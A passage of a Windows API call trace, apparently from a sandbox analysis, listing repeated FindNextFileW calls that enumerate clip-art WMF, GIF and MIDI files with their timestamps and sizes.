	[0276.653] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1
	[0276.718] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1
	[0276.718] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1
	[0276.718] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1
	[0276.719] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1
	[0276.720] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1
	[0277.083] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1
